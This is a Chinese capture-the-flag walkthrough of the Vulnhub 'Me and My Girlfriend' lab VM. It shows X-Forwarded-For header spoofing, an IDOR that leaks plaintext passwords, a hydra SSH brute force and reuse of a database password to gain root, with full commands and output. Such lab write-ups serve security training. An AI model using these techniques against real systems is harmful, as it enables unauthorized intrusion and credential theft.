首页 > 其他分享 >Vulnhub之Me and Mygirlfriend详细测试过程

Vulnhub之Me and Mygirlfriend详细测试过程

时间:2023-04-09 12:44:35浏览次数:43  
标签:Me Mygirlfriend 13 kali alice 192.168 2019 Vulnhub Dec

Me and Mygirlfriend

作者:jason huawen

靶机信息

名称: Me and My Girlfriend: 1

地址:

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
 Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                        
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:06      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:61:8a:f1      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.254  08:00:27:87:26:b3      1      60  PCS Systemtechnik GmbH            

利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.254

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 20:16 EDT
Nmap scan report for www.armour.local (192.168.56.254)
Host is up (0.000071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 57e15658460433563dc34ba793ee2316 (DSA)
|   2048 3b264de4a03bf875d96e1555828c7197 (RSA)
|   256 8f48979b55115bf16c1db34abc36bdb0 (ECDSA)
|_  256 d0c302a1c4c2a8ac3b84ae8fe5796676 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:87:26:B3 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds
                                                                            

NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80(http)

获得Shell

┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ curl http://192.168.56.254                       
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!<!-- Maybe you can search how to use x-forwarded-for -->

站点只能从本地访问,而且提示是在请求头中设置x-forwarded-for

可以用burpsuite拦截请求,然后增加x-forwarded-for:127.0.0.1

┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ curl http://192.168.56.254/robots.txt
User-Agent: *
Allow: /heyhoo.txt         
┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ curl http://192.168.56.254/heyhoo.txt
Great! What you need now is reconn, attack and got the shell     

此时成功得到页面:

不过用Burpsuite每次修改请求比较麻烦,可以用浏览器的插件IP,伪装X-Forwarded-For字段

从URL来看,是否会存在本地文件包含漏洞?

http://192.168.56.254/index.php?page=login

但经过测试,没有得到任何返回,不过也没有报错

用PHP filter也没有成功

http://192.168.56.254/index.php?page=php://filter/convert.base64-encode/resource=index

用burpsuite拦截请求,并将请求存储为文件,然后用sqlmap扫描,看是否存在SQL注入漏洞?

(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ sqlmap -r req.txt --level=5

SQLMAP并没有发现出SQL注入漏洞。

接下来注册一个用户test,看有什么发现?以test用户登录后

注意这里的URL:

http://192.168.56.254/index.php?page=dashboard&user_id=14

我们看是否可以通过修改user_id值进行水平攻击

当修改user_id=1时,查看profile

注意此时查看页面源代码,竟然有用户的明文密码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Ceban Corp</title>
    <style>
        .center {
            text-align: center;
        }
    </style>
</head>
<body>

    <div class="center">
        <h2>Welcome To Ceban Corp</h2>
        <p>Inspiring The People To Great Again!</p>
        <hr>
                <p><a href="?page=dashboard">Dashboard</a> | <a href="?page=profile&user_id=14">Profile</a> | <a href="?page=logout">Logout</a></p>
                <hr>
    </div>

    <form action="#" method="POST">
    <label for="name">Name</label>
    <input type="text" name="name" id="name" value="Eweuh Tandingan"><br>
    <label for="username">Username</label>
    <input type="text" name="username" id="username" value="eweuhtandingan"><br>
    <label for="password">Password</label>
    <input type="password" name="password" id="password" value="skuyatuh"><br>
    <button disabled="disabled">Change</button>
</form>

</body>
</html>

那该用户名和密码是否也是SSH的用户名和密码?但发现不成功,可以将所有的用户的用户名和密码都收集起来:(即依次将user_id枚举从1到没有返回内容为止)

┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ ssh [email protected]                              
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:xQf3lfh03E3NNnt5rN/N5zVlGxJJo8QcKykWWCSg1SM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 

──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ cat users.dict 
eweuhtandingan
aingmaung
sundatea
sedihaingmah
alice
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ cat pass.dict 
skuyatuh
qwerty!!!
indONEsia
cedihhihihi
4lic3
                
┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ hydra -L users.dict -P pass.dict ssh://192.168.56.254                 
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-08 21:09:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://192.168.56.254:22/
[22][ssh] host: 192.168.56.254   login: alice   password: 4lic3
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-08 21:09:20

┌──(kali㉿kali)-[~/Vulnhub/Me_And_Mygirlfriend]
└─$ ssh [email protected]         
[email protected]'s password: 
Last login: Fri Dec 13 14:48:25 2019
alice@gfriEND:~$ id
uid=1000(alice) gid=1001(alice) groups=1001(alice)
alice@gfriEND:~$ ls -alh
total 32K
drwxr-xr-x 4 alice alice 4.0K Dec 13  2019 .
drwxr-xr-x 6 root  root  4.0K Dec 13  2019 ..
-rw------- 1 alice alice   10 Dec 13  2019 .bash_history
-rw-r--r-- 1 alice alice  220 Dec 13  2019 .bash_logout
-rw-r--r-- 1 alice alice 3.6K Dec 13  2019 .bashrc
drwx------ 2 alice alice 4.0K Dec 13  2019 .cache
drwxrwxr-x 2 alice alice 4.0K Dec 13  2019 .my_secret
-rw-r--r-- 1 alice alice  675 Dec 13  2019 .profile
alice@gfriEND:~$ cat .bash_history 
exit
exit
alice@gfriEND:~$ cd .my_secret/
alice@gfriEND:~/.my_secret$ ls -alh
total 16K
drwxrwxr-x 2 alice alice 4.0K Dec 13  2019 .
drwxr-xr-x 4 alice alice 4.0K Dec 13  2019 ..
-rw-r--r-- 1 root  root   306 Dec 13  2019 flag1.txt
-rw-rw-r-- 1 alice alice  119 Dec 13  2019 my_notes.txt
alice@gfriEND:~/.my_secret$ cat flag1.txt 
Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given to him then Bob will be hurt but this is better than Bob cheated!

Now your last job is get access to the root and read the flag ^_^

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
alice@gfriEND:~/.my_secret$ cat my_notes.txt 
Woahhh! I like this company, I hope that here i get a better partner than bob ^_^, hopefully Bob doesn't know my notes
alice@gfriEND:~/.my_secret$ cd /home
alice@gfriEND:/home$ ls -alh
total 24K
drwxr-xr-x  6 root           root           4.0K Dec 13  2019 .
drwxr-xr-x 22 root           root           4.0K Dec 13  2019 ..
drwxr-xr-x  2 aingmaung      aingmaung      4.0K Dec 13  2019 aingmaung
drwxr-xr-x  4 alice          alice          4.0K Dec 13  2019 alice
drwxr-xr-x  2 eweuhtandingan eweuhtandingan 4.0K Dec 13  2019 eweuhtandingan
drwxr-xr-x  2 sundatea       sundatea       4.0K Dec 13  2019 sundatea

至此得到了第一Flag.

提权

alice@gfriEND:/var/www/html$ cd config
alice@gfriEND:/var/www/html/config$ ls -alh
total 12K
drwxrwxr-x 2 root root 4.0K Dec 13  2019 .
drwxr-xr-x 5 root root 4.0K Dec 13  2019 ..
-rw-rw-r-- 1 root root   88 Dec 13  2019 config.php
alice@gfriEND:/var/www/html/config$ cat config.php 
<?php

    $conn = mysqli_connect('localhost', 'root', 'ctf_pasti_bisa', 'ceban_corp');
alice@gfriEND:/var/www/html/config$ su - root
Password: 
root@gfriEND:~# cd /root
root@gfriEND:~# ls -alh
total 32K
drwx------  3 root root 4.0K Dec 13  2019 .
drwxr-xr-x 22 root root 4.0K Dec 13  2019 ..
-rw-------  1 root root    0 Dec 13  2019 .bash_history
-rw-r--r--  1 root root 3.1K Feb 20  2014 .bashrc
drwx------  2 root root 4.0K Dec 13  2019 .cache
-rw-r--r--  1 root root 1000 Dec 13  2019 flag2.txt
-rw-------  1 root root  238 Dec 13  2019 .mysql_history
-rw-------  1 root root   81 Dec 13  2019 .nano_history
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
root@gfriEND:~# cat flag2.txt 

  ________        __    ___________.__             ___________.__                ._.
 /  _____/  _____/  |_  \__    ___/|  |__   ____   \_   _____/|  | _____     ____| |
/   \  ___ /  _ \   __\   |    |   |  |  \_/ __ \   |    __)  |  | \__  \   / ___\ |
\    \_\  (  <_> )  |     |    |   |   Y  \  ___/   |     \   |  |__/ __ \_/ /_/  >|
 \______  /\____/|__|     |____|   |___|  /\___  >  \___  /   |____(____  /\___  /__
        \/                              \/     \/       \/              \//_____/ \/

Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned can get new knowledge from here :) I really hope you guys give me feedback for this challenge whether you like it or not because it can be a reference for me to be even better! I hope this can continue :)

Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: @makegreatagain_
Instagram: @aldodimas73

Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}
root@gfriEND:~# 

至此得到了root shell和root flag.本靶机提权部分比较简单,只要细心点,就可以找到配置漏洞。

标签:Me,Mygirlfriend,13,kali,alice,192.168,2019,Vulnhub,Dec
From: https://www.cnblogs.com/jason-huawen/p/17300140.html

相关文章

  • Pro Android学习笔记(四五):Dialog(2):DialogFragment
    DialogFragment的实例newInstance()已经在上一次学习笔记中实现。我们创建dialog的UI,可以通过重写DialogFragment的两个函数当中的一个来实现,这两个函数是onCreateView()和onCreateDialog(),前者返回view,后者返回dialog,如同通过AlertDialog.Builder构造一样。重写onCreateView()重写......
  • html页面里面的button标签使用@click属性时,无法定位到Vue的method里面
    问题解决就很离谱,都是按照网上的教程来的,一直无法定位,之后跟着加上了div标签,加上了id属性,方法还是灰白色,调用不了;后来直接将el属性名称更改掉了,没想到这样就成功识别到了,反正就是逻辑没有出问题,最后也达到期望值了。......
  • Element-ui表格根据数值条件显示不同内容
    从后端获取的status是数字格式的0或1,没有语义可读性产品启用状态产品一0产品二1<el-table-columnprop="status"label="启用状态"></el-table-column>现在要status为0时显示“禁用”;为1时显示“启用”<el-table-column......
  • activity中传值给fragment
    /*//创建Fragment实例detailfragment=newdetail();//构建BundleBundlebundle=newBundle();//设置数据bundle.putString("account",this.account);//绑定Fragmentfragment.setArguments(bundle);FragmentManagerfragmentManager=getSupportFragmentManager();Fra......
  • Python的time库
    time库为Python标准库,常用来处理和转换时间。官方文档:time---时间的访问和转换—Python3.11.2文档time.timetime.time()返回一个float类型的时间戳。如下:什么是时间戳?时间戳是自世界协调时(UTC)起始时间1970年1月1日0时0分0秒,即北京时间(UTC+8)1970年1月1日8时0分0秒......
  • Unity框架:JKFrame2.0学习笔记(二)——Singleton单例模式
    Singleton单例模式的基类,不用mono的类可以直接继承源码namespaceJKFrame{///<summary>///单例模式的基类///</summary>publicabstractclassSingleton<T>whereT:Singleton<T>,new(){privatestaticTinstance;public......
  • go操作memcache
    先下载包:gogetgithub.com/bradfitz/gomemcache/memcache window下打开memcache服务:cdC:\ProgramFiles\memcachedmemcached.exestart 再打开一个cmd窗口连接memcachedtelnetlocalhost11211测试一下setkey005hellogetkeygo操作示例1: import( "fmt......
  • CS231N assignment 1 _ softmax 学习笔记 & 解析
    [注意:考虑到这个和SVM重复很多,所以会一笔带过/省略一些]softmax和SVM只是线性分类器分类结果的评判不同,完全依靠打分最大来评判结果,误差就是希望结果尽可能接近正确分类值远大于其他值.我们将打分结果按照指数权重正则化为和为1的向量:而这个值希望尽可能接近1,也就是-l......
  • Vulnhub Bravery靶机 Walkthrough
    BraveryRecon使用netdiscover对本地网络进行arp扫描。┌──(kali㉿kali)-[~]└─$sudonetdiscover-r192.168.80.0/24Currentlyscanning:Finished!|ScreenView:UniqueHosts5......
  • Expression-bodied members (=>)
    C#中有一种简写方式叫做expressionbody https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/statements-expressions-operators/expression-bodied-members即使用操作符=>代替只有一行代码的一些场合,省去了return即{},坦率的说我不是很喜欢这些语法糖,但......